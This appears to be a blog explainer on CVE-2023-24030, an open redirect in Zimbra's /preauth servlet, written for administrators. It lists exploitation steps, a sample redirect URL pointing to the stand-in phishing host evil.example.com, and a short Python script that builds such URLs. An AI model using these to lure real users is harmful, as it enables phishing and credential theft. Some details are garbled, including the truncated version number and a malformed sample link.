CVE-2023-24030 - Open Redirect Vulnerability in Zimbra Collaboration Suite (Explained)

A new vulnerability, identified as CVE-2023-24030, has been discovered in Zimbra Collaboration Suite versions up to 9. and 8.8.15. This bug is an open redirect vulnerability found in the /preauth servlet. While the exploit requires an attacker to have access to a valid authentication token, the impact can be serious: users can be silently redirected to malicious sites, enabling phishing or other attacks. In this post, we break down how CVE-2023-24030 works, its difference from related bugs, and exactly how an attacker might exploit it.

What is an Open Redirect?

An open redirect weakness allows an attacker to trick users into visiting malicious websites by abusing the redirection mechanisms of a trusted application. This is usually achieved via manipulated links that appear legitimate, leveraging the domain reputation of a target like Zimbra.

Product Affected: Zimbra Collaboration Suite through 9. and 8.8.15

- Vulnerable Endpoint: /preauth servlet
- CVE ID: CVE-2023-24030

Authentication Required: Yes (attacker needs a valid Zimbra auth or preauth token)

- Similar Issues: CVE-2021-34807

The Zimbra /preauth endpoint allows for user authentication redirection. The intention is to enable Single Sign-On (SSO) or integration with external identity providers. However, the lack of proper sanitization on the incoming redirectURL parameter opens up the potential for exploitation.

Original Advisory and References

- NVD Entry for CVE-2023-24030
- Zimbra Security Center
- Zimbra Bugzilla Ticket (if/when public)

To successfully exploit this vulnerability, an attacker needs to perform the following steps

1. Obtain a Valid Token: The attacker must acquire a legitimate Zimbra authToken or a valid preauth token for any user (this could be through phishing, malware, or access to a compromised account).
2. Craft a Malicious Redirect Link: Construct a URL to the vulnerable /preauth endpoint with a redirectURL parameter pointing to an attacker-controlled site.
3. Deliver the Link: Send the link to a victim who is already authenticated, or automate the redirection.

If the victim clicks the link (while authenticated), the Zimbra application will process the authentication and then redirect the user to any URL specified by the attacker, including a site that looks like the real Zimbra login page but actually steals credentials.

Here’s a simplified sample exploit URL structure

https://evil.example.com/phishing" rel="nofollow">https://zimbra.example.com/preauth?account=user@example.com&by=name&timestamp=168987654321&expires=&preauth=VALID_TOKEN&redirectURL=https://evil.example.com/phishing

The server receives the request, checks the token, and if valid, authenticates the session.

- Instead of going to the user’s mailbox, the browser is sent to https://evil.example.com/phishing.

Sample Code Snippet

Python Example: _Auto-generating an exploitable URL (for educational purposes only!)_

import urllib.parse

def generate_preauth_url(host, account, preauth_token, attacker_url):
    params = {
        "account": account,
        "by": "name",
        "timestamp": "168987654321",  # Example timestamp
        "expires": "",
        "preauth": preauth_token,
        "redirectURL": attacker_url
    }
    url = host + "/preauth?" + urllib.parse.urlencode(params)
    return url

host = "https://zimbra.example.com";
account = "user@example.com"
preauth_token = "VALID_PREAUTH_TOKEN"
attacker_url = "https://evil.example.com/phishing"

print("Exploit URL:", generate_preauth_url(host, account, preauth_token, attacker_url))

Real-World Impact

This isn’t a bug that anyone can abuse without access — it’s a post-authentication attack. Here’s why it still matters:

- Phishing landing pages hosted on attacker’s domains can look just like Zimbra, easily harvesting credentials.
- Businesses using SSO could see compromise if users are tricked into entering their login information to a fake site.

How is This Different from CVE-2021-34807?

- CVE-2023-24030 affects the /preauth servlet specifically with authentication tokens.
- CVE-2021-34807 involved similar open redirect issues, but the technical details and endpoints vary; always refer to original advisories for exact scope.

Conclusion

CVE-2023-24030 is a real, practical risk where a trusted Zimbra server is tricked into sending authenticated users to untrusted locations. It highlights why even features that are "behind authentication" need to be coded securely. Patch early, and always validate user input—not just assuming tokens mean safe actions.

References

- CVE-2023-24030 NVD Entry
- Zimbra Security Center
- Open Redirect Explanation (OWASP)


*This post is an exclusive, plain-english breakdown for security practitioners and systems admins. Stay updated, and secure your Zimbra deployments now.*

Timeline

Published on: 06/15/2023 21:15:00 UTC
Last modified on: 06/27/2023 01:28:00 UTC